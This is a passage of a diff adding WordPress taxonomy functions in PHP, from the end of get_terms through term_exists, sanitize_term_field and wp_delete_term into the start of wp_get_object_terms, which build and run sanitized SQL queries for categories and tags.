+	if ( ! empty( $orderby ) ) {
+		$orderby = "ORDER BY $orderby";
+	} else {
+		$order = '';
+	}
+
+	if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ) ) ) {
+		$order = 'ASC';
+	}
+
+	$where = "tt.taxonomy IN ('" . implode("', '", $taxonomies) . "')";
+
+	$exclude = $args['exclude'];
+	$exclude_tree = $args['exclude_tree'];
+	$include = $args['include'];
+
+	$inclusions = '';
+	if ( ! empty( $include ) ) {
+		$exclude = '';
+		$exclude_tree = '';
+		$inclusions = implode( ',', wp_parse_id_list( $include ) );
+	}
+
+	if ( ! empty( $inclusions ) ) {
+		$inclusions = ' AND t.term_id IN ( ' . $inclusions . ' )';
+		$where .= $inclusions;
+	}
+
+	if ( ! empty( $exclude_tree ) ) {
+		$exclude_tree = wp_parse_id_list( $exclude_tree );
+		$excluded_children = $exclude_tree;
+		foreach ( $exclude_tree as $extrunk ) {
+			$excluded_children = array_merge(
+				$excluded_children,
+				(array) get_terms( $taxonomies[0], array( 'child_of' => intval( $extrunk ), 'fields' => 'ids', 'hide_empty' => 0 ) )
+			);
+		}
+		$exclusions = implode( ',', array_map( 'intval', $excluded_children ) );
+	} else {
+		$exclusions = '';
+	}
+
+	if ( ! empty( $exclude ) ) {
+		$exterms = wp_parse_id_list( $exclude );
+		if ( empty( $exclusions ) ) {
+			$exclusions = implode( ',', $exterms );
+		} else {
+			$exclusions .= ', ' . implode( ',', $exterms );
+		}
+	}
+
+	if ( ! empty( $exclusions ) ) {
+		$exclusions = ' AND t.term_id NOT IN (' . $exclusions . ')';
+	}
+
+	/**
+	 * Filter the terms to exclude from the terms query.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string       $exclusions NOT IN clause of the terms query.
+	 * @param array        $args       An array of terms query arguments.
+	 * @param string|array $taxonomies A taxonomy or array of taxonomies.
+	 */
+	$exclusions = apply_filters( 'list_terms_exclusions', $exclusions, $args, $taxonomies );
+
+	if ( ! empty( $exclusions ) ) {
+		$where .= $exclusions;
+	}
+
+	if ( ! empty( $args['slug'] ) ) {
+		if ( is_array( $args['slug'] ) ) {
+			$slug = array_map( 'sanitize_title', $args['slug'] );
+			$where .= " AND t.slug IN ('" . implode( "', '", $slug ) . "')";
+		} else {
+			$slug = sanitize_title( $args['slug'] );
+			$where .= " AND t.slug = '$slug'";
+		}
+	}
+
+	if ( ! empty( $args['name__like'] ) ) {
+		$where .= $wpdb->prepare( " AND t.name LIKE %s", '%' . $wpdb->esc_like( $args['name__like'] ) . '%' );
+	}
+
+	if ( ! empty( $args['description__like'] ) ) {
+		$where .= $wpdb->prepare( " AND tt.description LIKE %s", '%' . $wpdb->esc_like( $args['description__like'] ) . '%' );
+	}
+
+	if ( '' !== $parent ) {
+		$parent = (int) $parent;
+		$where .= " AND tt.parent = '$parent'";
+	}
+
+	$hierarchical = $args['hierarchical'];
+	if ( 'count' == $args['fields'] ) {
+		$hierarchical = false;
+	}
+	if ( $args['hide_empty'] && !$hierarchical ) {
+		$where .= ' AND tt.count > 0';
+	}
+
+	$number = $args['number'];
+	$offset = $args['offset'];
+
+	// don't limit the query results when we have to descend the family tree
+	if ( $number && ! $hierarchical && ! $child_of && '' === $parent ) {
+		if ( $offset ) {
+			$limits = 'LIMIT ' . $offset . ',' . $number;
+		} else {
+			$limits = 'LIMIT ' . $number;
+		}
+	} else {
+		$limits = '';
+	}
+
+	if ( ! empty( $args['search'] ) ) {
+		$like = '%' . $wpdb->esc_like( $args['search'] ) . '%';
+		$where .= $wpdb->prepare( ' AND ((t.name LIKE %s) OR (t.slug LIKE %s))', $like, $like );
+	}
+
+	$selects = array();
+	switch ( $args['fields'] ) {
+		case 'all':
+			$selects = array( 't.*', 'tt.*' );
+			break;
+		case 'ids':
+		case 'id=>parent':
+			$selects = array( 't.term_id', 'tt.parent', 'tt.count' );
+			break;
+		case 'names':
+			$selects = array( 't.term_id', 'tt.parent', 'tt.count', 't.name' );
+			break;
+		case 'count':
+			$orderby = '';
+			$order = '';
+			$selects = array( 'COUNT(*)' );
+			break;
+		case 'id=>name':
+			$selects = array( 't.term_id', 't.name', 'tt.count' );
+			break;
+		case 'id=>slug':
+			$selects = array( 't.term_id', 't.slug', 'tt.count' );
+			break;
+	}
+
+	$_fields = $args['fields'];
+
+	/**
+	 * Filter the fields to select in the terms query.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array        $selects    An array of fields to select for the terms query.
+	 * @param array        $args       An array of term query arguments.
+	 * @param string|array $taxonomies A taxonomy or array of taxonomies.
+	 */
+	$fields = implode( ', ', apply_filters( 'get_terms_fields', $selects, $args, $taxonomies ) );
+
+	$join = "INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id";
+
+	$pieces = array( 'fields', 'join', 'where', 'orderby', 'order', 'limits' );
+
+	/**
+	 * Filter the terms query SQL clauses.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array        $pieces     Terms query SQL clauses.
+	 * @param string|array $taxonomies A taxonomy or array of taxonomies.
+	 * @param array        $args       An array of terms query arguments.
+	 */
+	$clauses = apply_filters( 'terms_clauses', compact( $pieces ), $taxonomies, $args );
+	$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
+	$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
+	$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
+	$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
+	$order = isset( $clauses[ 'order' ] ) ? $clauses[ 'order' ] : '';
+	$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
+
+	$query = "SELECT $fields FROM $wpdb->terms AS t $join WHERE $where $orderby $order $limits";
+
+	if ( 'count' == $_fields ) {
+		$term_count = $wpdb->get_var($query);
+		return $term_count;
+	}
+
+	$terms = $wpdb->get_results($query);
+	if ( 'all' == $_fields ) {
+		update_term_cache( $terms );
+	}
+
+	if ( empty($terms) ) {
+		wp_cache_add( $cache_key, array(), 'terms', DAY_IN_SECONDS );
+
+		/** This filter is documented in wp-includes/taxonomy.php */
+		$terms = apply_filters( 'get_terms', array(), $taxonomies, $args );
+		return $terms;
+	}
+
+	if ( $child_of ) {
+		$children = _get_term_hierarchy( reset( $taxonomies ) );
+		if ( ! empty( $children ) ) {
+			$terms = _get_term_children( $child_of, $terms, reset( $taxonomies ) );
+		}
+	}
+
+	// Update term counts to include children.
+	if ( $args['pad_counts'] && 'all' == $_fields ) {
+		_pad_term_counts( $terms, reset( $taxonomies ) );
+	}
+	// Make sure we show empty categories that have children.
+	if ( $hierarchical && $args['hide_empty'] && is_array( $terms ) ) {
+		foreach ( $terms as $k => $term ) {
+			if ( ! $term->count ) {
+				$children = get_term_children( $term->term_id, reset( $taxonomies ) );
+				if ( is_array( $children ) ) {
+					foreach ( $children as $child_id ) {
+						$child = get_term( $child_id, reset( $taxonomies ) );
+						if ( $child->count ) {
+							continue 2;
+						}
+					}
+				}
+
+				// It really is empty
+				unset($terms[$k]);
+			}
+		}
+	}
+	reset( $terms );
+
+	$_terms = array();
+	if ( 'id=>parent' == $_fields ) {
+		while ( $term = array_shift( $terms ) ) {
+			$_terms[$term->term_id] = $term->parent;
+		}
+	} elseif ( 'ids' == $_fields ) {
+		while ( $term = array_shift( $terms ) ) {
+			$_terms[] = $term->term_id;
+		}
+	} elseif ( 'names' == $_fields ) {
+		while ( $term = array_shift( $terms ) ) {
+			$_terms[] = $term->name;
+		}
+	} elseif ( 'id=>name' == $_fields ) {
+		while ( $term = array_shift( $terms ) ) {
+			$_terms[$term->term_id] = $term->name;
+		}
+	} elseif ( 'id=>slug' == $_fields ) {
+		while ( $term = array_shift( $terms ) ) {
+			$_terms[$term->term_id] = $term->slug;
+		}
+	}
+
+	if ( ! empty( $_terms ) ) {
+		$terms = $_terms;
+	}
+
+	if ( $number && is_array( $terms ) && count( $terms ) > $number ) {
+		$terms = array_slice( $terms, $offset, $number );
+	}
+
+	wp_cache_add( $cache_key, $terms, 'terms', DAY_IN_SECONDS );
+
+	/** This filter is documented in wp-includes/taxonomy */
+	$terms = apply_filters( 'get_terms', $terms, $taxonomies, $args );
+	return $terms;
+}
+
+/**
+ * Check if Term exists.
+ *
+ * Formerly is_term(), introduced in 2.3.0.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|string $term The term to check
+ * @param string $taxonomy The taxonomy name to use
+ * @param int $parent Optional. ID of parent term under which to confine the exists search.
+ * @return mixed Returns null if the term does not exist. Returns the term ID
+ *               if no taxonomy is specified and the term ID exists. Returns
+ *               an array of the term ID and the term taxonomy ID the taxonomy
+ *               is specified and the pairing exists.
+ */
+function term_exists( $term, $taxonomy = '', $parent = null ) {
+	global $wpdb;
+
+	$select = "SELECT term_id FROM $wpdb->terms as t WHERE ";
+	$tax_select = "SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE ";
+
+	if ( is_int($term) ) {
+		if ( 0 == $term )
+			return 0;
+		$where = 't.term_id = %d';
+		if ( !empty($taxonomy) )
+			return $wpdb->get_row( $wpdb->prepare( $tax_select . $where . " AND tt.taxonomy = %s", $term, $taxonomy ), ARRAY_A );
+		else
+			return $wpdb->get_var( $wpdb->prepare( $select . $where, $term ) );
+	}
+
+	$term = trim( wp_unslash( $term ) );
+	$slug = sanitize_title( $term );
+
+	$where = 't.slug = %s';
+	$else_where = 't.name = %s';
+	$where_fields = array($slug);
+	$else_where_fields = array($term);
+	$orderby = 'ORDER BY t.term_id ASC';
+	$limit = 'LIMIT 1';
+	if ( !empty($taxonomy) ) {
+		if ( is_numeric( $parent ) ) {
+			$parent = (int) $parent;
+			$where_fields[] = $parent;
+			$else_where_fields[] = $parent;
+			$where .= ' AND tt.parent = %d';
+			$else_where .= ' AND tt.parent = %d';
+		}
+
+		$where_fields[] = $taxonomy;
+		$else_where_fields[] = $taxonomy;
+
+		if ( $result = $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $where AND tt.taxonomy = %s $orderby $limit", $where_fields), ARRAY_A) )
+			return $result;
+
+		return $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $else_where AND tt.taxonomy = %s $orderby $limit", $else_where_fields), ARRAY_A);
+	}
+
+	if ( $result = $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $where $orderby $limit", $where_fields) ) )
+		return $result;
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $else_where $orderby $limit", $else_where_fields) );
+}
+
+/**
+ * Check if a term is an ancestor of another term.
+ *
+ * You can use either an id or the term object for both parameters.
+ *
+ * @since 3.4.0
+ *
+ * @param int|object $term1 ID or object to check if this is the parent term.
+ * @param int|object $term2 The child term.
+ * @param string $taxonomy Taxonomy name that $term1 and $term2 belong to.
+ * @return bool Whether $term2 is child of $term1
+ */
+function term_is_ancestor_of( $term1, $term2, $taxonomy ) {
+	if ( ! isset( $term1->term_id ) )
+		$term1 = get_term( $term1, $taxonomy );
+	if ( ! isset( $term2->parent ) )
+		$term2 = get_term( $term2, $taxonomy );
+
+	if ( empty( $term1->term_id ) || empty( $term2->parent ) )
+		return false;
+	if ( $term2->parent == $term1->term_id )
+		return true;
+
+	return term_is_ancestor_of( $term1, get_term( $term2->parent, $taxonomy ), $taxonomy );
+}
+
+/**
+ * Sanitize Term all fields.
+ *
+ * Relies on sanitize_term_field() to sanitize the term. The difference is that
+ * this function will sanitize <strong>all</strong> fields. The context is based
+ * on sanitize_term_field().
+ *
+ * The $term is expected to be either an array or an object.
+ *
+ * @since 2.3.0
+ *
+ * @param array|object $term The term to check
+ * @param string $taxonomy The taxonomy name to use
+ * @param string $context Default is 'display'.
+ * @return array|object Term with all fields sanitized
+ */
+function sanitize_term($term, $taxonomy, $context = 'display') {
+
+	$fields = array( 'term_id', 'name', 'description', 'slug', 'count', 'parent', 'term_group', 'term_taxonomy_id', 'object_id' );
+
+	$do_object = is_object( $term );
+
+	$term_id = $do_object ? $term->term_id : (isset($term['term_id']) ? $term['term_id'] : 0);
+
+	foreach ( (array) $fields as $field ) {
+		if ( $do_object ) {
+			if ( isset($term->$field) )
+				$term->$field = sanitize_term_field($field, $term->$field, $term_id, $taxonomy, $context);
+		} else {
+			if ( isset($term[$field]) )
+				$term[$field] = sanitize_term_field($field, $term[$field], $term_id, $taxonomy, $context);
+		}
+	}
+
+	if ( $do_object )
+		$term->filter = $context;
+	else
+		$term['filter'] = $context;
+
+	return $term;
+}
+
+/**
+ * Cleanse the field value in the term based on the context.
+ *
+ * Passing a term field value through the function should be assumed to have
+ * cleansed the value for whatever context the term field is going to be used.
+ *
+ * If no context or an unsupported context is given, then default filters will
+ * be applied.
+ *
+ * There are enough filters for each context to support a custom filtering
+ * without creating your own filter function. Simply create a function that
+ * hooks into the filter you need.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $field Term field to sanitize
+ * @param string $value Search for this term value
+ * @param int $term_id Term ID
+ * @param string $taxonomy Taxonomy Name
+ * @param string $context Either edit, db, display, attribute, or js.
+ * @return mixed sanitized field
+ */
+function sanitize_term_field($field, $value, $term_id, $taxonomy, $context) {
+	$int_fields = array( 'parent', 'term_id', 'count', 'term_group', 'term_taxonomy_id', 'object_id' );
+	if ( in_array( $field, $int_fields ) ) {
+		$value = (int) $value;
+		if ( $value < 0 )
+			$value = 0;
+	}
+
+	if ( 'raw' == $context )
+		return $value;
+
+	if ( 'edit' == $context ) {
+
+		/**
+		 * Filter a term field to edit before it is sanitized.
+		 *
+		 * The dynamic portion of the filter name, `$field`, refers to the term field.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed $value     Value of the term field.
+		 * @param int   $term_id   Term ID.
+		 * @param string $taxonomy Taxonomy slug.
+		 */
+		$value = apply_filters( "edit_term_{$field}", $value, $term_id, $taxonomy );
+
+		/**
+		 * Filter the taxonomy field to edit before it is sanitized.
+		 *
+		 * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer
+		 * to the taxonomy slug and taxonomy field, respectively.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed $value   Value of the taxonomy field to edit.
+		 * @param int   $term_id Term ID.
+		 */
+		$value = apply_filters( "edit_{$taxonomy}_{$field}", $value, $term_id );
+		if ( 'description' == $field )
+			$value = esc_html($value); // textarea_escaped
+		else
+			$value = esc_attr($value);
+	} else if ( 'db' == $context ) {
+
+		/**
+		 * Filter a term field value before it is sanitized.
+		 *
+		 * The dynamic portion of the filter name, `$field`, refers to the term field.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed  $value    Value of the term field.
+		 * @param string $taxonomy Taxonomy slug.
+		 */
+		$value = apply_filters( "pre_term_{$field}", $value, $taxonomy );
+
+		/**
+		 * Filter a taxonomy field before it is sanitized.
+		 *
+		 * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer
+		 * to the taxonomy slug and field name, respectively.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed $value Value of the taxonomy field.
+		 */
+		$value = apply_filters( "pre_{$taxonomy}_{$field}", $value );
+		// Back compat filters
+		if ( 'slug' == $field ) {
+			/**
+			 * Filter the category nicename before it is sanitized.
+			 *
+			 * Use the pre_{$taxonomy}_{$field} hook instead.
+			 *
+			 * @since 2.0.3
+			 *
+			 * @param string $value The category nicename.
+			 */
+			$value = apply_filters( 'pre_category_nicename', $value );
+		}
+
+	} else if ( 'rss' == $context ) {
+
+		/**
+		 * Filter the term field for use in RSS.
+		 *
+		 * The dynamic portion of the filter name, `$field`, refers to the term field.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed  $value    Value of the term field.
+		 * @param string $taxonomy Taxonomy slug.
+		 */
+		$value = apply_filters( "term_{$field}_rss", $value, $taxonomy );
+
+		/**
+		 * Filter the taxonomy field for use in RSS.
+		 *
+		 * The dynamic portions of the hook name, `$taxonomy`, and $field, refer
+		 * to the taxonomy slug and field name, respectively.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed $value Value of the taxonomy field.
+		 */
+		$value = apply_filters( "{$taxonomy}_{$field}_rss", $value );
+	} else {
+		// Use display filters by default.
+
+		/**
+		 * Filter the term field sanitized for display.
+		 *
+		 * The dynamic portion of the filter name, `$field`, refers to the term field name.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed  $value    Value of the term field.
+		 * @param int    $term_id  Term ID.
+		 * @param string $taxonomy Taxonomy slug.
+		 * @param string $context  Context to retrieve the term field value.
+		 */
+		$value = apply_filters( "term_{$field}", $value, $term_id, $taxonomy, $context );
+
+		/**
+		 * Filter the taxonomy field sanitized for display.
+		 *
+		 * The dynamic portions of the filter name, `$taxonomy`, and $field, refer
+		 * to the taxonomy slug and taxonomy field, respectively.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed  $value   Value of the taxonomy field.
+		 * @param int    $term_id Term ID.
+		 * @param string $context Context to retrieve the taxonomy field value.
+		 */
+		$value = apply_filters( "{$taxonomy}_{$field}", $value, $term_id, $context );
+	}
+
+	if ( 'attribute' == $context )
+		$value = esc_attr($value);
+	else if ( 'js' == $context )
+		$value = esc_js($value);
+
+	return $value;
+}
+
+/**
+ * Count how many terms are in Taxonomy.
+ *
+ * Default $args is 'hide_empty' which can be 'hide_empty=true' or array('hide_empty' => true).
+ *
+ * @since 2.3.0
+ *
+ * @param string $taxonomy Taxonomy name
+ * @param array|string $args Overwrite defaults. See get_terms()
+ * @return int|WP_Error How many terms are in $taxonomy. WP_Error if $taxonomy does not exist.
+ */
+function wp_count_terms( $taxonomy, $args = array() ) {
+	$defaults = array('hide_empty' => false);
+	$args = wp_parse_args($args, $defaults);
+
+	// backwards compatibility
+	if ( isset($args['ignore_empty']) ) {
+		$args['hide_empty'] = $args['ignore_empty'];
+		unset($args['ignore_empty']);
+	}
+
+	$args['fields'] = 'count';
+
+	return get_terms($taxonomy, $args);
+}
+
+/**
+ * Will unlink the object from the taxonomy or taxonomies.
+ *
+ * Will remove all relationships between the object and any terms in
+ * a particular taxonomy or taxonomies. Does not remove the term or
+ * taxonomy itself.
+ *
+ * @since 2.3.0
+ *
+ * @param int $object_id The term Object Id that refers to the term
+ * @param string|array $taxonomies List of Taxonomy Names or single Taxonomy name.
+ */
+function wp_delete_object_term_relationships( $object_id, $taxonomies ) {
+	$object_id = (int) $object_id;
+
+	if ( !is_array($taxonomies) )
+		$taxonomies = array($taxonomies);
+
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		$term_ids = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'ids' ) );
+		$term_ids = array_map( 'intval', $term_ids );
+		wp_remove_object_terms( $object_id, $term_ids, $taxonomy );
+	}
+}
+
+/**
+ * Removes a term from the database.
+ *
+ * If the term is a parent of other terms, then the children will be updated to
+ * that term's parent.
+ *
+ * The $args 'default' will only override the terms found, if there is only one
+ * term found. Any other and the found terms are used.
+ *
+ * The $args 'force_default' will force the term supplied as default to be
+ * assigned even if the object was not going to be termless
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $term Term ID
+ * @param string $taxonomy Taxonomy Name
+ * @param array|string $args Optional. Change 'default' term id and override found term ids.
+ * @return bool|WP_Error Returns false if not term; true if completes delete action.
+ */
+function wp_delete_term( $term, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	$term = (int) $term;
+
+	if ( ! $ids = term_exists($term, $taxonomy) )
+		return false;
+	if ( is_wp_error( $ids ) )
+		return $ids;
+
+	$tt_id = $ids['term_taxonomy_id'];
+
+	$defaults = array();
+
+	if ( 'category' == $taxonomy ) {
+		$defaults['default'] = get_option( 'default_category' );
+		if ( $defaults['default'] == $term )
+			return 0; // Don't delete the default category
+	}
+
+	$args = wp_parse_args($args, $defaults);
+
+	if ( isset( $args['default'] ) ) {
+		$default = (int) $args['default'];
+		if ( ! term_exists( $default, $taxonomy ) ) {
+			unset( $default );
+		}
+	}
+
+	if ( isset( $args['force_default'] ) ) {
+		$force_default = $args['force_default'];
+	}
+
+	/**
+	 * Fires when deleting a term, before any modifications are made to posts or terms.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param int    $term     Term ID.
+	 * @param string $taxonomy Taxonomy Name.
+	 */
+	do_action( 'pre_delete_term', $term, $taxonomy );
+
+	// Update children to point to new parent
+	if ( is_taxonomy_hierarchical($taxonomy) ) {
+		$term_obj = get_term($term, $taxonomy);
+		if ( is_wp_error( $term_obj ) )
+			return $term_obj;
+		$parent = $term_obj->parent;
+
+		$edit_ids = $wpdb->get_results( "SELECT term_id, term_taxonomy_id FROM $wpdb->term_taxonomy WHERE `parent` = " . (int)$term_obj->term_id );
+		$edit_tt_ids = wp_list_pluck( $edit_ids, 'term_taxonomy_id' );
+
+		/**
+		 * Fires immediately before a term to delete's children are reassigned a parent.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $edit_tt_ids An array of term taxonomy IDs for the given term.
+		 */
+		do_action( 'edit_term_taxonomies', $edit_tt_ids );
+		$wpdb->update( $wpdb->term_taxonomy, compact( 'parent' ), array( 'parent' => $term_obj->term_id) + compact( 'taxonomy' ) );
+
+		// Clean the cache for all child terms.
+		$edit_term_ids = wp_list_pluck( $edit_ids, 'term_id' );
+		clean_term_cache( $edit_term_ids, $taxonomy );
+
+		/**
+		 * Fires immediately after a term to delete's children are reassigned a parent.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $edit_tt_ids An array of term taxonomy IDs for the given term.
+		 */
+		do_action( 'edited_term_taxonomies', $edit_tt_ids );
+	}
+
+	$objects = $wpdb->get_col( $wpdb->prepare( "SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tt_id ) );
+
+	foreach ( (array) $objects as $object ) {
+		$terms = wp_get_object_terms($object, $taxonomy, array('fields' => 'ids', 'orderby' => 'none'));
+		if ( 1 == count($terms) && isset($default) ) {
+			$terms = array($default);
+		} else {
+			$terms = array_diff($terms, array($term));
+			if (isset($default) && isset($force_default) && $force_default)
+				$terms = array_merge($terms, array($default));
+		}
+		$terms = array_map('intval', $terms);
+		wp_set_object_terms($object, $terms, $taxonomy);
+	}
+
+	// Clean the relationship caches for all object types using this term
+	$tax_object = get_taxonomy( $taxonomy );
+	foreach ( $tax_object->object_type as $object_type )
+		clean_object_term_cache( $objects, $object_type );
+
+	// Get the object before deletion so we can pass to actions below
+	$deleted_term = get_term( $term, $taxonomy );
+
+	/**
+	 * Fires immediately before a term taxonomy ID is deleted.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $tt_id Term taxonomy ID.
+	 */
+	do_action( 'delete_term_taxonomy', $tt_id );
+	$wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) );
+
+	/**
+	 * Fires immediately after a term taxonomy ID is deleted.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $tt_id Term taxonomy ID.
+	 */
+	do_action( 'deleted_term_taxonomy', $tt_id );
+
+	// Delete the term if no taxonomies use it.
+	if ( !$wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term) ) )
+		$wpdb->delete( $wpdb->terms, array( 'term_id' => $term ) );
+
+	clean_term_cache($term, $taxonomy);
+
+	/**
+	 * Fires after a term is deleted from the database and the cache is cleaned.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int     $term         Term ID.
+	 * @param int     $tt_id        Term taxonomy ID.
+	 * @param string  $taxonomy     Taxonomy slug.
+	 * @param mixed   $deleted_term Copy of the already-deleted term, in the form specified
+	 *                              by the parent function. WP_Error otherwise.
+	 */
+	do_action( 'delete_term', $term, $tt_id, $taxonomy, $deleted_term );
+
+	/**
+	 * Fires after a term in a specific taxonomy is deleted.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the specific
+	 * taxonomy the term belonged to.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int     $term         Term ID.
+	 * @param int     $tt_id        Term taxonomy ID.
+	 * @param mixed   $deleted_term Copy of the already-deleted term, in the form specified
+	 *                              by the parent function. {@see WP_Error} otherwise.
+	 */
+	do_action( "delete_$taxonomy", $term, $tt_id, $deleted_term );
+
+	return true;
+}
+
+/**
+ * Deletes one existing category.
+ *
+ * @since 2.0.0
+ *
+ * @param int $cat_ID
+ * @return mixed Returns true if completes delete action; false if term doesn't exist;
+ * 	Zero on attempted deletion of default Category; WP_Error object is also a possibility.
+ */
+function wp_delete_category( $cat_ID ) {
+	return wp_delete_term( $cat_ID, 'category' );
+}
+
+/**
+ * Retrieves the terms associated with the given object(s), in the supplied taxonomies.
+ *
+ * The following information has to do the $args parameter and for what can be
+ * contained in the string or array of that parameter, if it exists.
+ *
+ * The first argument is called, 'orderby' and has the default value of 'name'.
+ * The other value that is supported is 'count'.
+ *
+ * The second argument is called, 'order' and has the default value of 'ASC'.
+ * The only other value that will be acceptable is 'DESC'.
+ *
+ * The final argument supported is called, 'fields' and has the default value of
+ * 'all'. There are multiple other options that can be used instead. Supported
+ * values are as follows: 'all', 'ids', 'names', and finally
+ * 'all_with_object_id'.
+ *
+ * The fields argument also decides what will be returned. If 'all' or
+ * 'all_with_object_id' is chosen or the default kept intact, then all matching
+ * terms objects will be returned. If either 'ids' or 'names' is used, then an
+ * array of all matching term ids or term names will be returned respectively.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|array $object_ids The ID(s) of the object(s) to retrieve.
+ * @param string|array $taxonomies The taxonomies to retrieve terms from.
+ * @param array|string $args Change what is returned
+ * @return array|WP_Error The requested term data or empty array if no terms found. WP_Error if any of the $taxonomies don't exist.
+ */
+function wp_get_object_terms($object_ids, $taxonomies, $args = array()) {
+	global $wpdb;
+
+	if ( empty( $object_ids ) || empty( $taxonomies ) )
+		return array();
+
+	if ( !is_array($taxonomies) )
+		$taxonomies = array($taxonomies);
+
+	foreach ( $taxonomies as $taxonomy ) {
+		if ( ! taxonomy_exists($taxonomy) )
+			return new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+	}
+
+	if ( !is_array($object_ids) )
+		$object_ids = array($object_ids);
+	$object_ids = array_map('intval', $object_ids);
+
+	$defaults = array('orderby' => 'name', 'order' => 'ASC', 'fields' => 'all');
+	$args = wp_parse_args( $args, $defaults );
+
+	$terms = array();
+	if ( count($taxonomies) > 1 ) {
+		foreach ( $taxonomies as $index => $taxonomy ) {
+			$t = get_taxonomy($taxonomy);
+			if ( isset($t->args) && is_array($t->args) && $args != array_merge($args, $t->args) ) {
+				unset($taxonomies[$index]);
+				$terms = array_merge($terms, wp_get_object_terms($object_ids, $taxonomy, array_merge($args, $t->args)));
+			}
+		}
+	} else {
+		$t = get_taxonomy($taxonomies[0]);
+		if ( isset($t->args) && is_array($t->args) )
+			$args = array_merge($args, $t->args);
+	}
+
+	$orderby = $args['orderby'];
+	$order = $args['order'];
+	$fields = $args['fields'];
+
+	if ( 'count' == $orderby )
+		$orderby = 'tt.count';
+	else if ( 'name' == $orderby )
+		$orderby = 't.name';
+	else if ( 'slug' == $orderby )
+		$orderby = 't.slug';
+	else if ( 'term_group' == $orderby )
+		$orderby = 't.term_group';
+	else if ( 'term_order' == $orderby )
+		$orderby = 'tr.term_order';
+	else if ( 'none' == $orderby ) {
+		$orderby = '';
+		$order = '';
+	} else {
+		$orderby = 't.term_id';
+	}
+
+	// tt_ids queries can only be none or tr.term_taxonomy_id
+	if ( ('tt_ids' == $fields) && !empty($orderby) )
+		$orderby = 'tr.term_taxonomy_id';
+
+	if ( !empty($orderby) )
+		$orderby = "ORDER BY $orderby";
+
+	$order = strtoupper( $order );
+	if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ) ) )
+		$order = 'ASC';
+
+	$taxonomies = "'" . implode("', '", $taxonomies) . "'";
+	$object_ids = implode(', ', $object_ids);
+
+	$select_this = '';
+	if ( 'all' == $fields )
+		$select_this = 't.*, tt.*';
+	else if ( 'ids' == $fields )
+		$select_this = 't.term_id';
+	else if ( 'names' == $fields )
+		$select_this = 't.name';
+	else if ( 'slugs' == $fields )
+		$select_this = 't.slug';
+	else if ( 'all_with_object_id' == $fields )
+		$select_this = 't.*, tt.*, tr.object_id';
+
+	$query = "SELECT $select_this FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN $wpdb->term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tr.object_id IN ($object_ids) $orderby $order";
+
+	$objects = false;
+	if ( 'all' == $fields || 'all_with_object_id' == $fields ) {
+		$_terms = $wpdb->get_results( $query );
+		foreach ( $_terms as $key => $term ) {
+			$_terms[$key] = sanitize_term( $term, $taxonomy, 'raw' );
+		}
+		$terms = array_merge( $terms, $_terms );
+		update_term_cache( $terms );
+		$objects = true;
+	} else if ( 'ids' == $fields || 'names' == $fields || 'slugs' == $fields ) {
+		$_terms = $wpdb->get_col( $query );
+		$_field = ( 'ids' == $fields ) ? 'term_id' : 'name';
+		foreach ( $_terms as $key => $term ) {
